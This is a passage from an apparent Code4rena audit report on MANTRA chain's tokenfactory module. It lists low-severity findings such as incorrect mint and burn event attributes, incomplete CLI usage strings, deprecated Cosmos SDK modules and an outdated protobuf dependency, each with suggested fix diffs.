                sdk.NewEvent(
                        types.TypeMsgMint,
-                       sdk.NewAttribute(types.AttributeMintToAddress, msg.Sender),
+                       sdk.NewAttribute(types.AttributeMintToAddress, msg.MintToAddress),
                        sdk.NewAttribute(types.AttributeAmount, msg.Amount.String()),
                ),
        })
(END)

[02] The Burn Function Emits an Incorrect Event

The Burn function is responsible for destroying a specified amount of tokens based on user requests. Burning typically means permanently removing tokens from the blockchain to reduce the circulating supply.

In the Burn event, it incorrectly records the sender’s address instead of the source address from which the tokens are burned.

func (server msgServer) Burn(goCtx context.Context, msg *types.MsgBurn) (*types.MsgBurnResponse, error) {
...

	if msg.Sender != authorityMetadata.GetAdmin() {
		return nil, types.ErrUnauthorized
	}

	if msg.BurnFromAddress == "" {
		msg.BurnFromAddress = msg.Sender
	}

	accountI := server.Keeper.accountKeeper.GetAccount(ctx, sdk.AccAddress(msg.BurnFromAddress))
	_, ok := accountI.(sdk.ModuleAccountI)
	if ok {
		return nil, types.ErrBurnFromModuleAccount
	}

	err = server.Keeper.burnFrom(ctx, msg.Amount, msg.BurnFromAddress)
	if err != nil {
		return nil, err
	}

	ctx.EventManager().EmitEvents(sdk.Events{
		sdk.NewEvent(
			types.TypeMsgBurn,
			sdk.NewAttribute(types.AttributeBurnFromAddress,
			msg.Sender), // <-----------
			sdk.NewAttribute(types.AttributeAmount, msg.Amount.String()),
		),
	})

	return &types.MsgBurnResponse{}, nil
}

Suggested Fix

In the Burn event, change the event attribute from msg.Sender to msg.BurnFromAddress to ensure that the source address for token burning is recorded instead of the sender’s address.

diff --git a/x/tokenfactory/keeper/msg_server.go b/x/tokenfactory/keeper/msg_server.go
index 14a8d7d..67a9e81 100644
--- a/x/tokenfactory/keeper/msg_server.go
+++ b/x/tokenfactory/keeper/msg_server.go
@@ -122,7 +122,7 @@ func (server msgServer) Burn(goCtx context.Context, msg *types.MsgBurn) (*types.
        ctx.EventManager().EmitEvents(sdk.Events{
                sdk.NewEvent(
                        types.TypeMsgBurn,
-                       sdk.NewAttribute(types.AttributeBurnFromAddress, msg.Sender),
+                       sdk.NewAttribute(types.AttributeBurnFromAddress, msg.BurnFromAddress),
                        sdk.NewAttribute(types.AttributeAmount, msg.Amount.String()),
                ),
        })
(END)

[03] The Mint Command Prompt is Missing the mint-to-address Parameter

This function defines a command-line interface (CLI) command for broadcasting a MsgMint message using the Cobra library. Specifically, it implements a CLI command for minting new tokens and broadcasting the operation to the blockchain network.

However, the Use field lacks the mint-to-address parameter.

// NewMintCmd broadcasts MsgMint
func NewMintCmd() *cobra.Command {
	cmd := &cobra.Command{
		Use:   "mint [amount] [flags]", // <---------
		Short: "Mint a denom to an address. Must have admin authority to do so.",
		Args:  cobra.ExactArgs(1),
		RunE: func(cmd *cobra.Command, args []string) error {

...

	return cmd
}

When users execute mantrachaind tx tokenfactory mint, the command prompt is incorrect because it is missing the mint-to-address parameter.

➜  2024-11-mantra git:(main) ✗ mantrachaind tx tokenfactory mint
Usage:
  mantrachaind tx tokenfactory mint [amount] [flags]

Suggested Fix

Add the mint-to-address parameter to the mint command to clearly specify the target address for token minting.

diff --git a/x/tokenfactory/client/cli/tx.go b/x/tokenfactory/client/cli/tx.go
index af81098..eb58648 100644
--- a/x/tokenfactory/client/cli/tx.go
+++ b/x/tokenfactory/client/cli/tx.go
@@ -71,7 +71,7 @@ func NewCreateDenomCmd() *cobra.Command {
 // NewMintCmd broadcasts MsgMint
 func NewMintCmd() *cobra.Command {
        cmd := &cobra.Command{
-               Use:   "mint [amount] [flags]",
+               Use:   "mint [amount] [mint-to-address] [flags]",
                Short: "Mint a denom to an address. Must have admin authority to do so.",
                Args:  cobra.ExactArgs(1),
                RunE: func(cmd *cobra.Command, args []string) error {
(END)

[04] The Burn Command Prompt is Missing the burn-from-address Parameter

The NewBurnCmd function lacks a burn-from-address parameter.

// NewBurnCmd broadcasts MsgBurn
func NewBurnCmd() *cobra.Command {
	cmd := &cobra.Command{
		Use:   "burn [amount] [flags]",  // <---------
		Short: "Burn tokens from an address. Must have admin authority to do so.",
		Args:  cobra.ExactArgs(1),
		RunE: func(cmd *cobra.Command, args []string) error {

...

	return cmd
}

When users use the burn command, it outputs an incorrect command prompt because the burn-from-address parameter is missing.

➜  2024-11-mantra git:(main) ✗ mantrachaind tx tokenfactory burn
Usage:
  mantrachaind tx tokenfactory burn [amount] [flags]

Suggested Fix

Add the burn-from-address parameter to the burn command to clearly specify the source address for token burning.

diff --git a/x/tokenfactory/client/cli/tx.go b/x/tokenfactory/client/cli/tx.go
index af81098..b8fc5b2 100644
--- a/x/tokenfactory/client/cli/tx.go
+++ b/x/tokenfactory/client/cli/tx.go
@@ -106,7 +106,7 @@ func NewMintCmd() *cobra.Command {
 // NewBurnCmd broadcasts MsgBurn
 func NewBurnCmd() *cobra.Command {
        cmd := &cobra.Command{
-               Use:   "burn [amount] [flags]",
+               Use:   "burn [amount] [burn-from-address] [flags]",
                Short: "Burn tokens from an address. Must have admin authority to do so.",
                Args:  cobra.ExactArgs(1),
                RunE: func(cmd *cobra.Command, args []string) error {
(END)

[05] Using the Deprecated x/params Module

According to the documentation, the Cosmos SDK should no longer use the x/params module as it has been deprecated.

Cosmos SDK Upgrading Guide

However, there are still multiple instances where the x/params module is being used, such as:

  • app.go#L108

    	"github.com/cosmos/cosmos-sdk/x/params"
	paramsclient "github.com/cosmos/cosmos-sdk/x/params/client"
	paramskeeper "github.com/cosmos/cosmos-sdk/x/params/keeper"
	paramstypes "github.com/cosmos/cosmos-sdk/x/params/types"

  • params.go#L7

    import (
	"fmt"

	sdk "github.com/cosmos/cosmos-sdk/types"
	paramtypes "github.com/cosmos/cosmos-sdk/x/params/types"
)

Suggested Fix

Stop using the deprecated x/params module and manage parameters within each module independently.

[06] Using an Incorrect Protobuf Library

According to the documentation, gogo/protobuf is no longer maintained, posing potential risks to the project’s ongoing development and security. To ensure stability and maintainability, the Cosmos SDK team has decided to migrate the Protobuf dependency from gogo/protobuf to their own maintained branch cosmos/gogoproto.

Cosmos SDK Upgrading Guide - Protobuf

However, the gogo/protobuf library is still being used in the following path:

admins.go#L6

import (
	"github.com/MANTRA-Chain/mantrachain/x/tokenfactory/types"
	sdk "github.com/cosmos/cosmos-sdk/types"
	"github.com/gogo/protobuf/proto"    // <-----------
)

Suggested Fix

First, replace “github.com/gogo/protobuf/proto” with “github.com/cosmos/gogoproto/proto” in the admins.go file:

admins.go#L6

import (
	"github.com/MANTRA-Chain/mantrachain/x/tokenfactory/types"
	sdk "github.com/cosmos/cosmos-sdk/types"
-	"github.com/gogo/protobuf/proto"    // <-----------
+	"github.com/cosmos/gogoproto/proto"
)

Then, update the go.mod file:

go.mod#L15

replace (
	// use mantra-sdk
	github.com/cosmos/cosmos-sdk => github.com/MANTRA-Chain/cosmos-sdk v0.50.8-0.20241001101155-992121f93c3d

	// fix upstream GHSA-h395-qcrw-5vmq vulnerability.
	github.com/gin-gonic/gin => github.com/gin-gonic/gin v1.8.1

	// use regen protobufs
-	github.com/gogo/protobuf =>
+	github.com/regen-network/protobuf v1.3.3-alpha.regen.1  // <----------

	// replace broken goleveldb
	github.com/syndtr/goleveldb => github.com/syndtr/goleveldb v1.0.1-0.20210819022825-2ae1ddf74ef7
)

Since the dependency path has changed, you need to remove the old replacement directive and ensure the new dependency is correctly included.

  • Remove the Old Replacement Directive

    Locate and delete the following replacement directive from the go.mod file:

    github.com/gogo/protobuf => github.com/regen-network/protobuf v1.3.3-alpha.regen.1

  • Add the New Dependency

    Ensure that the go.mod file includes the latest version of github.com/cosmos/gogoproto. For example:

    require github.com/cosmos/gogoproto v1.3.3

Run Dependency Cleanup

Execute the following command to update dependencies:

go mod tidy

[07] Using the Deprecated AppModuleBasic in Cosmos SDK

According to the documentation, AppModuleBasic has been deprecated.

Cosmos SDK Upgrading Guide - Module Basics

The following code utilizes AppModuleBasic:

app.go#L770

// BasicModuleManager defines the module BasicManager is in charge of setting up basic,
// non-dependant module elements, such as codec registration and genesis verification.
// By default it is composed of all the modules from the module manager.
// Additionally, app module basics can be overwritten by passing them as arguments.
app.BasicModuleManager = module.NewBasicManagerFromManager(
	app.ModuleManager,
	map[string]module.AppModuleBasic{
		genutiltypes.ModuleName: genutil.NewAppModuleBasic(genutiltypes.DefaultMessageValidator),
		govtypes.ModuleName: gov.NewAppModuleBasic(
			[]govclient.ProposalHandler{
				paramsclient.ProposalHandler,
			},
		),
	})

Suggested Fix

  • For Projects Using Dependency Injection:

    • Simply remove the corresponding line in the app.go file to complete the migration without making other changes.

  • For Projects Not Using Dependency Injection:

    • Manually remove the code related to the Basic Manager.
    • Update module wiring to ensure that the module.Manager directly handles the basic functionalities of modules.
    • Update the wiring configurations for related modules such as x/genutil.

[08] ChangeAdmin Does Not Check if newAdmin is the Same as the Current Admin

The ChangeAdmin function is used to change the administrator of a specific token denomination (denom).

However, this function does not verify whether the newAdmin is different from the current admin.

ChangeAdmin Function - msg_server.go#L182

func (server msgServer) ChangeAdmin(goCtx context.Context, msg *types.MsgChangeAdmin) (*types.MsgChangeAdminResponse, error) {
	if err := msg.Validate(); err != nil {
		return nil, errors.Wrap(err, "failed to validate MsgChangeAdmin")
	}

	ctx := sdk.UnwrapSDKContext(goCtx)

	authorityMetadata, err := server.Keeper.GetAuthorityMetadata(ctx, msg.Denom)
	if err != nil {
		return nil, err
	}

	if msg.Sender != authorityMetadata.GetAdmin() {
		return nil, types.ErrUnauthorized.Wrapf("need: %s, received: %s, denom: %s", authorityMetadata.GetAdmin(), msg.Sender, msg.Denom)
	}

	err = server.Keeper.setAdmin(ctx, msg.Denom, msg.NewAdmin) // <------------
	if err != nil {
		return nil, err
	}
	ctx.EventManager().EmitEvents(sdk.Events{
		sdk.NewEvent(
			types.TypeMsgChangeAdmin,
			sdk.NewAttribute(types.AttributeDenom, msg.GetDenom()),
			sdk.NewAttribute(types.AttributeNewAdmin, msg.NewAdmin),
		),
	})

	return &types.MsgChangeAdminResponse{}, nil
}

Impact

  • Redundant Operation: Changing the admin to the same address is unnecessary and wastes resources.
  • Potential Vulnerability: In certain scenarios, repeated admin changes might lead to state inconsistencies or other unforeseen behaviors.
  • User Experience: Users might mistakenly believe that the admin has been successfully changed when no actual change has occurred.

Suggested Fix

Verify that the new admin is different from the current admin before proceeding with the change:

if msg.NewAdmin == authorityMetadata.GetAdmin() {
	// Optionally, return an error or simply do nothing
}

[09] BasicModuleManager has Been Removed and is No Longer Needed

According to the documentation, the basic module manager has been removed. It is no longer necessary and has been simplified to directly use module.Manager. It can be removed from app.go.

Cosmos SDK Upgrading Guide - Module Basics

The following code uses BasicModuleManager:

app.go#L768

app.BasicModuleManager = module.NewBasicManagerFromManager( // <----------
	app.ModuleManager,
	map[string]module.AppModuleBasic{
		genutiltypes.ModuleName: genutil.NewAppModuleBasic(genutiltypes.DefaultMessageValidator),
		govtypes.ModuleName: gov.NewAppModuleBasic(
			[]govclient.ProposalHandler{
				paramsclient.ProposalHandler,
			},
		),
	})

Suggested Fix

Remove the usage of BasicModuleManager from the app.go file as it is no longer required. Ensure that the module.Manager directly handles the basic functionalities of the modules without the intermediary of BasicModuleManager.

Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.